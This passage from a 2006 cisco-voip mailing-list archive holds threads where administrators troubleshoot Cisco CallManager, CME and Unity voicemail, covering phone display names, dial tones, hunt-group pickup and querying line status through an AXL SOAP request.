Use Photomail to share photos without annoying attachments.   _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip





    
---------------------------------
  Yahoo! Mail
Use Photomail to share photos without annoying attachments._______________________________________________
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https://puck.nether.net/mailman/listinfo/cisco-voip


		
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From Aaron.Derooy at xerox.com  Sat Feb 11 12:39:52 2006
From: Aaron.Derooy at xerox.com (DeRooy, Aaron H)
Date: Sat Feb 11 12:40:05 2006
Subject: [cisco-voip] How can I increase the no. of rings when I
	recievedanother call on the waiting?
Message-ID: <E0EF33751DEA634DA817A51024A8E3F205BA9386@usa0300ms01.na.xerox.net>

"no answer ring duration" on the line level of the number being called.
Default is 10 seconds.


________________________________

	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of new look
	Sent: Friday, February 10, 2006 11:37 PM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] How can I increase the no. of rings when I
recievedanother call on the waiting?
	
	
	Dear all,
	when I have a call and I recieved anothe the CCM ring twice for
the guy that called me and then give him busy or massage So
	How can I increase the no. of  rings when I recieved another
call on the waiting?
	Thanks

	
________________________________

	Relax. Yahoo! Mail virus scanning
<http://us.rd.yahoo.com/mail_us/taglines/virusall/*http://communications
.yahoo.com/features.php?page=221>  helps detect nasty viruses!

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From jgrace at digitelusa.net  Sat Feb 11 14:54:08 2006
From: jgrace at digitelusa.net (James Grace)
Date: Sat Feb 11 14:54:16 2006
Subject: [cisco-voip] No  lines are avaiL 
Message-ID: <SUWCL20IP01CEGUFH9300007e84@smtpoutcl20.wirelesssyncvzw.net>

Our AC user sometimes get a error no lines are available 

Im not able to recreate this error
Have anybody seeN  this error before 

From pwalenta at wi.rr.com  Sat Feb 11 15:30:16 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Sat Feb 11 15:30:21 2006
Subject: [cisco-voip] No  lines are avaiL
In-Reply-To: <SUWCL20IP01CEGUFH9300007e84@smtpoutcl20.wirelesssyncvzw.net>
Message-ID: <200602112030.k1BKUEo9018288@ms-smtp-01.rdc-kc.rr.com>

No lines being available generally means something else may already have
control of any line available for that AC user to control.

I say generally, because there are other possibilities (such as DCDirectory
problems, JTAPI issues etc).

Start by checking the TCD logs and work from there. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Saturday, February 11, 2006 1:54 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] No lines are avaiL

Our AC user sometimes get a error no lines are available 

Im not able to recreate this error
Have anybody seeN  this error before
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From jim at tgasolutions.com  Sun Feb 12 20:55:43 2006
From: jim at tgasolutions.com (Jim McBurnett)
Date: Sun Feb 12 20:55:47 2006
Subject: [cisco-voip] CIPC- VT and CME
Message-ID: <D2BBAE709B4D874DAC556C7EB9D938FC0DB4ED@exchange.TGASolutions.local>

I was wondering if anyone on the list had heard about these topics?

1. CIPC and VT advantage on CME? If? and when?

2. CIPC moving to SIP?

3. Codec other than 711 for CIPC for CME?

4. VT advantage for CME at all?


Just curious...

Thanks,
Jim 


From manoj at computec.co.jp  Sun Feb 12 21:05:53 2006
From: manoj at computec.co.jp (Manoj Kalpage)
Date: Sun Feb 12 21:05:58 2006
Subject: [cisco-voip] Display User name on IP Phone
Message-ID: <B1C39BB91C448C4983DDAB4AE80A93F807BE8B@titan.computec.co.jp>

Hi Everyone,

I am currently trying to configure IP phones for the newly install CCM.
Does anyone know how to get the user's name display on upper right hand
corner of 7960 IP Phone?

Your help would be greatly appreciated

 

Regards,

Manoj

 

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From cj.alan at gmail.com  Mon Feb 13 06:54:30 2006
From: cj.alan at gmail.com (Alan Su)
Date: Mon Feb 13 06:54:32 2006
Subject: [cisco-voip] CallManager Tone Configuration
Message-ID: <8f9f19f00602130354h50a75dccj@mail.gmail.com>

Dear All,

I was wondering if the tone heard from IP Phone can be configured in
CallManager?
'Cuz one of my customer complained that the IP Phones they are using which
are registered to different CallManagers present different tone when
off-hook. I read the CCM admin guide but didn't find anything about this,
only the locale might affect the tone. Does anyone have idea how to fix it?
Any comment would be grateful. Thanks a lot~


Regards,


Alan
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From ealeatherman at gmail.com  Mon Feb 13 08:22:09 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Mon Feb 13 08:22:11 2006
Subject: [cisco-voip] Display User name on IP Phone
In-Reply-To: <B1C39BB91C448C4983DDAB4AE80A93F807BE8B@titan.computec.co.jp>
References: <B1C39BB91C448C4983DDAB4AE80A93F807BE8B@titan.computec.co.jp>
Message-ID: <94a1afde0602130522n5f979df3wf7a9b214d9d53cd5@mail.gmail.com>

You could change the line text label of the primary line to be the name. The
space all the way in upper right hand corner is for the external phone
number mask, i'm not sure if that field will accept alpha characters or not
- have never tried. Guessing it doesnt though.

On 2/12/06, Manoj Kalpage <manoj at computec.co.jp> wrote:
>
>  Hi Everyone,
>
> I am currently trying to configure IP phones for the newly install CCM.
> Does anyone know how to get the user's name display on upper right hand
> corner of 7960 IP Phone?
>
> Your help would be greatly appreciated
>
>
>
> Regards,
>
> Manoj
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From James.O'Farrell at valuelink.co.uk  Mon Feb 13 08:29:54 2006
From: James.O'Farrell at valuelink.co.uk (James O'Farrell)
Date: Mon Feb 13 08:30:00 2006
Subject: [cisco-voip] Display User name on IP Phone
Message-ID: <D22B02F8BAB23142A171EDEDAEE7A7D54E6A@mastermind.visdomain.valuelink.co.uk>

The 7960 itself is capable of displaying alpha characters. I have tried
it with SIP and also with CME.

 

Regards

James O'Farrell

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ed Leatherman
Sent: 13 February 2006 13:22
To: Manoj Kalpage
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Display User name on IP Phone

 

You could change the line text label of the primary line to be the name.
The space all the way in upper right hand corner is for the external
phone number mask, i'm not sure if that field will accept alpha
characters or not - have never tried. Guessing it doesnt though. 

On 2/12/06, Manoj Kalpage <manoj at computec.co.jp> wrote:

Hi Everyone,

I am currently trying to configure IP phones for the newly install CCM.
Does anyone know how to get the user's name display on upper right hand
corner of 7960 IP Phone?

Your help would be greatly appreciated

 

Regards,

Manoj

 


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip






-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations 


ValueLink is a specialist service provider of financial data to the major UK and International centres. Our clients require reliable, accurate data with maximum coverage on a fixed time delayed basis. We work closely with each of our clients to provide a service which meets their specific requirements and maximises efficiency of their process. 

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From Hans-Peter.Walter at tds.de  Mon Feb 13 08:34:26 2006
From: Hans-Peter.Walter at tds.de (Hans-Peter Walter)
Date: Mon Feb 13 08:30:26 2006
Subject: Antwort: Re: [cisco-voip] Display User name on IP Phone
In-Reply-To: <94a1afde0602130522n5f979df3wf7a9b214d9d53cd5@mail.gmail.com>
Message-ID: <OF44C72236.CC87DA3C-ONC1257114.004A608D-C1257114.004A1A35@de.tds-global.com>

I've seen that in a demonstration, but it was a Callmanager Express 
Solution. I've asked a Consultant, and he 
told me that it only works with CME.





Ed Leatherman <ealeatherman at gmail.com> 
Gesendet von: cisco-voip-bounces at puck.nether.net
13.02.2006 14:22

An
Manoj Kalpage <manoj at computec.co.jp>
Kopie
cisco-voip at puck.nether.net
Thema
Re: [cisco-voip] Display User name on IP Phone






You could change the line text label of the primary line to be the name. 
The space all the way in upper right hand corner is for the external phone 
number mask, i'm not sure if that field will accept alpha characters or 
not - have never tried. Guessing it doesnt though. 

On 2/12/06, Manoj Kalpage <manoj at computec.co.jp> wrote:
Hi Everyone,
I am currently trying to configure IP phones for the newly install CCM. 
Does anyone know how to get the user's name display on upper right hand 
corner of 7960 IP Phone?
Your help would be greatly appreciated
 
Regards,
Manoj
 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip





-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations 
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From jgrace at digitelusa.net  Mon Feb 13 09:00:08 2006
From: jgrace at digitelusa.net (James Grace)
Date: Mon Feb 13 09:00:17 2006
Subject: [cisco-voip] Caller I?d on h323
Message-ID: <SUWCL19IP01LJGWSa1a00016b05@smtpoutcl19.wirelesssyncvzw.net>

how do I make the line or device caller I?d configs over ride  the gateway caller I?d configs   
We are adding the number  in the external number mask

From rleetun at co.boulder.co.us  Mon Feb 13 09:09:57 2006
From: rleetun at co.boulder.co.us (Leetun, Rob)
Date: Mon Feb 13 09:10:00 2006
Subject: [cisco-voip] Dead Air on local Inbound calls
Message-ID: <963CE94787005149A52C17F33A028E12051D4367@EVS1B.boco.co.boulder.co.us>

Try this, sho dial-peer voice; and look at the stats at the bottom of
the show.  

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Zevier Thoran
Sent: Saturday, February 11, 2006 7:28 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Dead Air on local Inbound calls


On my h323 gateway connected to callmanager,  when  an outside caller
from within the local area code dials inbound, he gets dead air. All
calls made from all other area codes work fine. How do I check in the
Router and in Callmanager for any configuration errors for inbound
calls?
Thanks - Zevier  


________________________________

Relax. Yahoo! Mail virus scanning
<http://us.rd.yahoo.com/mail_us/taglines/virusall/*http://communications
.yahoo.com/features.php?page=221>  helps detect nasty viruses!
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From Scott.Voll at wesd.org  Mon Feb 13 09:24:34 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 13 09:24:45 2006
Subject: [cisco-voip] CallManager Tone Configuration
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1418@VISHNU.wesd.org>

Alan-

 

I don't know that you can configure the ring tone on a phone from CM.

 

I could see that two different CM's could have different ring tones.  

 

To fix it you would have to go to the phone and set it.

 

I have some extra tones on one CM and if it fails to the other one, they
get the default ring tone.

 

Scott 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Alan Su
Sent: Monday, February 13, 2006 3:55 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] CallManager Tone Configuration

 

Dear All,

 

I was wondering if the tone heard from IP Phone can be configured in
CallManager?

'Cuz one of my customer complained that the IP Phones they are using
which are registered to different CallManagers present different tone
when off-hook. I read the CCM admin guide but didn't find anything about
this, only the locale might affect the tone. Does anyone have idea how
to fix it? Any comment would be grateful. Thanks a lot~ 

 

 

Regards,

 

 

Alan

 

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From mfa at crec.ifas.ufl.edu  Mon Feb 13 09:48:04 2006
From: mfa at crec.ifas.ufl.edu (Mike Armstrong)
Date: Mon Feb 13 09:48:06 2006
Subject: [cisco-voip] Display User name on IP Phone
References: <200602131330.k1DDUS2d049660@puck.nether.net>
Message-ID: <002b01c630ac$7e803f40$400cfb0a@crec.ifas.ufl.edu>

The alternative we use is to put the user name in the first line appearance 
"Line Text Label" -- e.g., "Mike Armstrong - 1303".

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL

> Date: Mon, 13 Feb 2006 11:05:53 +0900
> From: "Manoj Kalpage" <manoj at computec.co.jp>
> Subject: [cisco-voip] Display User name on IP Phone
> To: <cisco-voip at puck.nether.net>
> Message-ID:
> <B1C39BB91C448C4983DDAB4AE80A93F807BE8B at titan.computec.co.jp>
> Content-Type: text/plain; charset="us-ascii"
>
> Hi Everyone,
>
> I am currently trying to configure IP phones for the newly install CCM.
> Does anyone know how to get the user's name display on upper right hand
> corner of 7960 IP Phone?
>
> Your help would be greatly appreciated
>
>
>
> Regards,
>
> Manoj


From rleetun at co.boulder.co.us  Mon Feb 13 09:49:52 2006
From: rleetun at co.boulder.co.us (Leetun, Rob)
Date: Mon Feb 13 09:49:56 2006
Subject: [cisco-voip] CallManager Tone Configuration
Message-ID: <963CE94787005149A52C17F33A028E12051D436A@EVS1B.boco.co.boulder.co.us>

No you cannot config a ring tone in CM.  You need to create it and then
import it into CM.  On the Cisco site there is a document on how to do
this.  Please be aware, that this ring type will be available to all
phones in your system.
 
Rob

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Alan Su
Sent: Monday, February 13, 2006 4:55 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] CallManager Tone Configuration


Dear All,
 
I was wondering if the tone heard from IP Phone can be configured in
CallManager?
'Cuz one of my customer complained that the IP Phones they are using
which are registered to different CallManagers present different tone
when off-hook. I read the CCM admin guide but didn't find anything about
this, only the locale might affect the tone. Does anyone have idea how
to fix it? Any comment would be grateful. Thanks a lot~ 
 
 
Regards,
 
 
Alan
 
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From raphael at alter.it  Mon Feb 13 11:37:13 2006
From: raphael at alter.it (Raphael Pennisi)
Date: Mon Feb 13 11:29:20 2006
Subject: [cisco-voip] Retrieving Phone lines status
Message-ID: <1139848633.10150.50.camel@penny>


Hello everybody,
we are writing a small application that given a phone retrieves lines
status (idle or in use). When operating with a Cisco Call Manager
Express the task is easy, we just use AXL SOAP interface by sending a
ISgetDevice request, as follow:

<SOAP-ENV:Envelope
 xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    
 xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance" 
 xmlns:xsd="http://www.w3.org/1999/XMLSchema"> 
	<SOAP-ENV:Body>      
		<axl xsi:type="request"
                 xmlns="http://www.cisco.com/AXL/1.0"             
                 xsi:schemaLocation="http://www.cisco.com/AXL/1.0   
                 http://gkar.cisco.com/schema/axlsoap.xsd">           
		<request xsi:type="ISgetDevice">                        
			<ISgetDevice>                  
		<ISDevName>SEP000D28AF1606</ISDevName>                 
			</ISgetDevice>         
		</request>       
		</axl> 
	</SOAP-ENV:Body> 
</SOAP-ENV:Envelope>

Which gives a similar response:

<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
       xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance"
       xmlns:xsd="http://www.w3.org/1999/XMLSchema"
>  <SOAP-ENV:Body>
   <axl xsi:type="response"
      xmlns="http://www.cisco.com/AXL/1.0"
      xsi:schemaLocation="http://www.cisco.com/AXL/1.0
                           srst-its.xsd">
       <response xsi:type="ISgetDeviceResponse">
        <ISDevice>
          <ISDevID>11</ISDevID>
          <ISDevName>SEP000D28AF1606</ISDevName>
          <ISDevType>IP Phone 7902</ISDevType>
          <ISDevDesc>Raphael pennisi</ISDevDesc>
          <ISDevUsername>SEP000D28AF1606</ISDevUsername>
          <ISDevAddr>
            <Xipv4Address>10.0.1.129 </Xipv4Address>
          </ISDevAddr>
          <ISPhoneLineList>
           <ExtMapStatus>
             <LineId>1</LineId>
             <ExtId>19</ExtId>
             <ExtNumber>49</ExtNumber>
             <ExtStatus>true</ExtStatus>
             <LineState>idle</LineState>
            </ExtMapStatus>
          </ISPhoneLineList>
          <ISKeyPhone>false</ISKeyPhone>
          <ISTapiClientAddr>
            <Xipv4Address>10.0.0.111 </Xipv4Address>
          </ISTapiClientAddr>
          <ISDevStatus>registered</ISDevStatus>
          <ISDevLastStatus>unregistered</ISDevLastStatus>
          <ISDevChangeTime>8129</ISDevChangeTime>
          <ISDevKeepAlives>13</ISDevKeepAlives>
          <ISDevTapiCStatus>deceased</ISDevTapiCStatus>
          <ISTapiCLastStatus>registered</ISTapiCLastStatus>
          <ISTapiCChangeTime>6252882</ISTapiCChangeTime>
          <ISTapiCKeepAlive>0</ISTapiCKeepAlive>
        </ISDevice>
      </response>
   </axl>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The problem araise with Cisco Call Manager, because it dont understand
this kind of request (ISgetDevice), and the line state information we
are looking for cannot be found with getPhone or getLine AXL SOAP
request (supported by Call Manager).

Thanks for any directions.






From timfrazee at gmail.com  Mon Feb 13 11:39:48 2006
From: timfrazee at gmail.com (Tim Frazee)
Date: Mon Feb 13 11:39:52 2006
Subject: [cisco-voip] CallManager Tone Configuration
Message-ID: <43f0b654.7ae58c9f.2e24.7209@mx.gmail.com>

I don't think he was talking about ringtones,

I think he was referring to dial tone.

I don't know of a way to change it, maybe its a wav file that can be swapped out? How does the other customer have his changed?




Sent from my Treo:

Tim Frazee
314.249.8697

-----Original Message-----

From:  "Leetun, Rob" <rleetun at co.boulder.co.us>
Subj:  RE: [cisco-voip] CallManager Tone Configuration
Date:  Mon Feb 13, 2006 7.50 am
Size:  1K
To:  "Alan Su" <cj.alan at gmail.com>, <cisco-voip at puck.nether.net>

     No you cannot config a ring tone in CM. You need to  create it and then import it into CM. On the Cisco site there is a  document on how to do this. Please be aware, that this ring type will be  available to all phones in your system.
 
 Rob

   From: cisco-voip-bounces at puck.nether.net  [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Alan  Su
Sent: Monday, February 13, 2006 4:55 AM
To:  cisco-voip at puck.nether.net
Subject: [cisco-voip] CallManager Tone  Configuration


 
 Dear All,
 
 I was wondering if the tone heard from IP Phone can be configured in  CallManager?
 'Cuz one of my customer complained that the IP Phones they are using which  are registered to different CallManagers present different tone when off-hook. I  read the CCM admin guide but didn't find anything about this, only the locale  might affect the tone. Does anyone have idea how to fix it? Any comment would be  grateful. Thanks a lot~ 
 
 
 Regards,
 
 
 Alan
 
  


From timfrazee at gmail.com  Mon Feb 13 11:42:20 2006
From: timfrazee at gmail.com (Tim Frazee)
Date: Mon Feb 13 11:42:25 2006
Subject: [cisco-voip] How can I increase the no. of rings when
	Irecievedanother call on the waiting?
Message-ID: <43f0b6ec.260a2a89.5af9.0118@mx.gmail.com>

what version of ccm are you running?

With 4.x you can change it per line. Before it was global.

Sent from my Treo:

Tim Frazee
314.249.8697

-----Original Message-----

From:  "DeRooy, Aaron H" <Aaron.Derooy at xerox.com>
Subj:  RE: [cisco-voip] How can I increase the no. of rings when Irecievedanother call on the waiting?
Date:  Sat Feb 11, 2006 10.41 am
Size:  1K
To:  "new look" <newlook110 at yahoo.com>, <cisco-voip at puck.nether.net>

     "no answer ring duration" on the line level of the number  being called. Default is 10 seconds.

    From: cisco-voip-bounces at puck.nether.net  [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of new  look
Sent: Friday, February 10, 2006 11:37 PM
To:  cisco-voip at puck.nether.net
Subject: [cisco-voip] How can I increase  the no. of rings when I recievedanother call on the  waiting?


 
 Dear all,
 when I have a call and I recieved anothe the CCM ring twice for the guy  that called me and then give him busy or massage So
 How can I increase the no. of rings when I recieved another call on  the waiting?
 Thanks
   Relax. Yahoo! Mail virus  scanning helps detect nasty viruses!  


From ealeatherman at gmail.com  Mon Feb 13 11:51:57 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Mon Feb 13 11:52:00 2006
Subject: [cisco-voip] CallManager Tone Configuration
In-Reply-To: <43f0b654.7ae58c9f.2e24.7209@mx.gmail.com>
References: <43f0b654.7ae58c9f.2e24.7209@mx.gmail.com>
Message-ID: <94a1afde0602130851s216e54cqf8ffba7c45b9b0ab@mail.gmail.com>

If they are two seperate clusters, perhaps "provide outside dialtone" is
setup on route patterns for one of the clusters. that is the only way I can
think of that would be difference dialtone.

On 2/13/06, Tim Frazee <timfrazee at gmail.com> wrote:
>
> I don't think he was talking about ringtones,
>
> I think he was referring to dial tone.
>
> I don't know of a way to change it, maybe its a wav file that can be
> swapped out? How does the other customer have his changed?
>
>
>
>
> Sent from my Treo:
>
> Tim Frazee
> 314.249.8697
>
> -----Original Message-----
>
> From:  "Leetun, Rob" <rleetun at co.boulder.co.us>
> Subj:  RE: [cisco-voip] CallManager Tone Configuration
> Date:  Mon Feb 13, 2006 7.50 am
> Size:  1K
> To:  "Alan Su" <cj.alan at gmail.com>, <cisco-voip at puck.nether.net>
>
>      No you cannot config a ring tone in CM. You need to  create it and
> then import it into CM. On the Cisco site there is a  document on how to do
> this. Please be aware, that this ring type will be  available to all phones
> in your system.
>
> Rob
>
>    From: cisco-voip-bounces at puck.nether.net  [mailto:
> cisco-voip-bounces at puck.nether.net] On Behalf Of Alan  Su
> Sent: Monday, February 13, 2006 4:55 AM
> To:  cisco-voip at puck.nether.net
> Subject: [cisco-voip] CallManager Tone  Configuration
>
>
>
> Dear All,
>
> I was wondering if the tone heard from IP Phone can be configured
> in  CallManager?
> 'Cuz one of my customer complained that the IP Phones they are using
> which  are registered to different CallManagers present different tone when
> off-hook. I  read the CCM admin guide but didn't find anything about this,
> only the locale  might affect the tone. Does anyone have idea how to fix it?
> Any comment would be  grateful. Thanks a lot~
>
>
> Regards,
>
>
> Alan
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>



--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From netwirker at gmail.com  Mon Feb 13 12:08:32 2006
From: netwirker at gmail.com (net w0rker)
Date: Mon Feb 13 12:08:34 2006
Subject: [cisco-voip] How to stop unity sending voice mesages to email
Message-ID: <85358e060602130908t57944643geebf8cf90e31b93a@mail.gmail.com>

Hi guys,

I'm configuring Unity server(4.0) and would like to know how to stop unity
sending voice mesages to email(exchange sever).
I just want to get voice messages from IP Phone.
Do you have any idea?

Thanks!

Andrew
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From pwalenta at wi.rr.com  Mon Feb 13 12:13:35 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Mon Feb 13 12:13:38 2006
Subject: [cisco-voip] How to stop unity sending voice mesages to email
In-Reply-To: <85358e060602130908t57944643geebf8cf90e31b93a@mail.gmail.com>
Message-ID: <200602131713.k1DHDXo9000453@ms-smtp-01.rdc-kc.rr.com>

Are you running in a voicemail only mode, or Unified Messaging mode?
 
If running Unified (which is what it sounds like), the only thing you can do
is create an alternate exchange/ad user for the voicemail box (i.e.
VMJoeSmith).
 
 From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of net w0rker
Sent: Monday, February 13, 2006 11:09 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] How to stop unity sending voice mesages to email



Hi guys,
 
I'm configuring Unity server(4.0) and would like to know how to stop unity
sending voice mesages to email(exchange sever).
I just want to get voice messages from IP Phone.
Do you have any idea?
 
Thanks!
 
Andrew
 

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From Hans-Peter.Walter at tds.de  Mon Feb 13 12:45:37 2006
From: Hans-Peter.Walter at tds.de (Hans-Peter Walter)
Date: Mon Feb 13 12:41:39 2006
Subject: [cisco-voip] Pickup doesn't work for Calls to Hunt Pilot Number (-0)
Message-ID: <OFBCFE41E7.1850847C-ONC1257114.005EAF5E-C1257114.00611961@de.tds-global.com>

hey,
I have a hunt pilot (-0) for our front desk.
In the associated hunt list (HL), I have a line group (LG) with several 
phones (circular).

When a customer calls the -0, and somebody tries to PICKUP a ringing 
phone, nothing 
happens. When I directly call a DN of any phone, any other phone can 
pickup that call.
So the problem: I can not pickup calls from a HP/HL/LG, but I'm not sure 
whether this is a 
bug or a feature ;-). I googled and found 
http://www.ciscotaccc.com/voice/showcase?case=K11612191

By the way, in another setup I have a HP (-00) with a HL with several LG, 
and in the first LG there is only 
one DN (another Front Desk with only one person). When that phone is on 
"CallForwardAll", calls for the 
HP/HL/LG (-00) are not forwarded, the phone rings ;-). I found a 
workaround, but is there another solution?

thanks
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From jgrace at digitelusa.net  Mon Feb 13 12:38:43 2006
From: jgrace at digitelusa.net (James Grace)
Date: Mon Feb 13 12:45:49 2006
Subject: [cisco-voip] unity user vm move to saved folder 
Message-ID: <200602131245765.SM01568@3729434770>

We have a user that is having a problem with her vm getting move to her
saved messages folder.  Currently there are no rules set up on here email
client or on the exchange side for her.  And she is the only subscriber that
is having this problem.  Could it be something with data and time
misconfigured where message are appearing to be old and are getting moved.
Im unable to recreate this on another subscribers MB or VMB.   Have anybody
seen this..

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From Matt.Slaga at us.didata.com  Mon Feb 13 13:01:59 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Mon Feb 13 13:02:35 2006
Subject: [cisco-voip] unity user vm move to saved folder 
Message-ID: <C1FE15183DA37645BC0633BC604E44F0E696BC@USNAEXCH.na.didata.local>

She most likely has a local PST file that is configured as the default
location for new messages.  When she receives a new message, her light
probably lights for a second and then goes out.  Check her mailbox size
in exchange.  If it is very small then this is probably the case.
 
 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Monday, February 13, 2006 12:39 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] unity user vm move to saved folder 



We have a user that is having a problem with her vm getting move to her
saved messages folder.  Currently there are no rules set up on here
email client or on the exchange side for her.  And she is the only
subscriber that is having this problem.  Could it be something with data
and time misconfigured where message are appearing to be old and are
getting moved.  Im unable to recreate this on another subscribers MB or
VMB.   Have anybody seen this....

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 




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From wsisk at cisco.com  Mon Feb 13 14:15:04 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Mon Feb 13 14:15:17 2006
Subject: [cisco-voip] Pickup doesn't work for Calls to Hunt Pilot Number
	(-0)
In-Reply-To: <OFBCFE41E7.1850847C-ONC1257114.005EAF5E-C1257114.00611961@de.tds-global.com>
References: <OFBCFE41E7.1850847C-ONC1257114.005EAF5E-C1257114.00611961@de.tds-global.com>
Message-ID: <43F0DAB8.9080201@cisco.com>

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From wsisk at cisco.com  Mon Feb 13 14:16:37 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Mon Feb 13 14:16:47 2006
Subject: [cisco-voip] Retrieving Phone lines status
In-Reply-To: <1139848633.10150.50.camel@penny>
References: <1139848633.10150.50.camel@penny>
Message-ID: <43F0DB15.80408@cisco.com>

for realtime information i believe you need to use the CallManager 
Serviceability SOAP api.

/Wes

Raphael Pennisi wrote:
> Hello everybody,
> we are writing a small application that given a phone retrieves lines
> status (idle or in use). When operating with a Cisco Call Manager
> Express the task is easy, we just use AXL SOAP interface by sending a
> ISgetDevice request, as follow:
>
> <SOAP-ENV:Envelope
>  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    
>  xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance" 
>  xmlns:xsd="http://www.w3.org/1999/XMLSchema"> 
> 	<SOAP-ENV:Body>      
> 		<axl xsi:type="request"
>                  xmlns="http://www.cisco.com/AXL/1.0"             
>                  xsi:schemaLocation="http://www.cisco.com/AXL/1.0   
>                  http://gkar.cisco.com/schema/axlsoap.xsd">           
> 		<request xsi:type="ISgetDevice">                        
> 			<ISgetDevice>                  
> 		<ISDevName>SEP000D28AF1606</ISDevName>                 
> 			</ISgetDevice>         
> 		</request>       
> 		</axl> 
> 	</SOAP-ENV:Body> 
> </SOAP-ENV:Envelope>
>
> Which gives a similar response:
>
> <SOAP-ENV:Envelope
> xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
>        xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance"
>        xmlns:xsd="http://www.w3.org/1999/XMLSchema"
>   
>>  <SOAP-ENV:Body>
>>     
>    <axl xsi:type="response"
>       xmlns="http://www.cisco.com/AXL/1.0"
>       xsi:schemaLocation="http://www.cisco.com/AXL/1.0
>                            srst-its.xsd">
>        <response xsi:type="ISgetDeviceResponse">
>         <ISDevice>
>           <ISDevID>11</ISDevID>
>           <ISDevName>SEP000D28AF1606</ISDevName>
>           <ISDevType>IP Phone 7902</ISDevType>
>           <ISDevDesc>Raphael pennisi</ISDevDesc>
>           <ISDevUsername>SEP000D28AF1606</ISDevUsername>
>           <ISDevAddr>
>             <Xipv4Address>10.0.1.129 </Xipv4Address>
>           </ISDevAddr>
>           <ISPhoneLineList>
>            <ExtMapStatus>
>              <LineId>1</LineId>
>              <ExtId>19</ExtId>
>              <ExtNumber>49</ExtNumber>
>              <ExtStatus>true</ExtStatus>
>              <LineState>idle</LineState>
>             </ExtMapStatus>
>           </ISPhoneLineList>
>           <ISKeyPhone>false</ISKeyPhone>
>           <ISTapiClientAddr>
>             <Xipv4Address>10.0.0.111 </Xipv4Address>
>           </ISTapiClientAddr>
>           <ISDevStatus>registered</ISDevStatus>
>           <ISDevLastStatus>unregistered</ISDevLastStatus>
>           <ISDevChangeTime>8129</ISDevChangeTime>
>           <ISDevKeepAlives>13</ISDevKeepAlives>
>           <ISDevTapiCStatus>deceased</ISDevTapiCStatus>
>           <ISTapiCLastStatus>registered</ISTapiCLastStatus>
>           <ISTapiCChangeTime>6252882</ISTapiCChangeTime>
>           <ISTapiCKeepAlive>0</ISTapiCKeepAlive>
>         </ISDevice>
>       </response>
>    </axl>
>   </SOAP-ENV:Body>
> </SOAP-ENV:Envelope>
>
> The problem araise with Cisco Call Manager, because it dont understand
> this kind of request (ISgetDevice), and the line state information we
> are looking for cannot be found with getPhone or getLine AXL SOAP
> request (supported by Call Manager).
>
> Thanks for any directions.
>
>
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From jgrace at digitelusa.net  Mon Feb 13 14:51:08 2006
From: jgrace at digitelusa.net (James Grace)
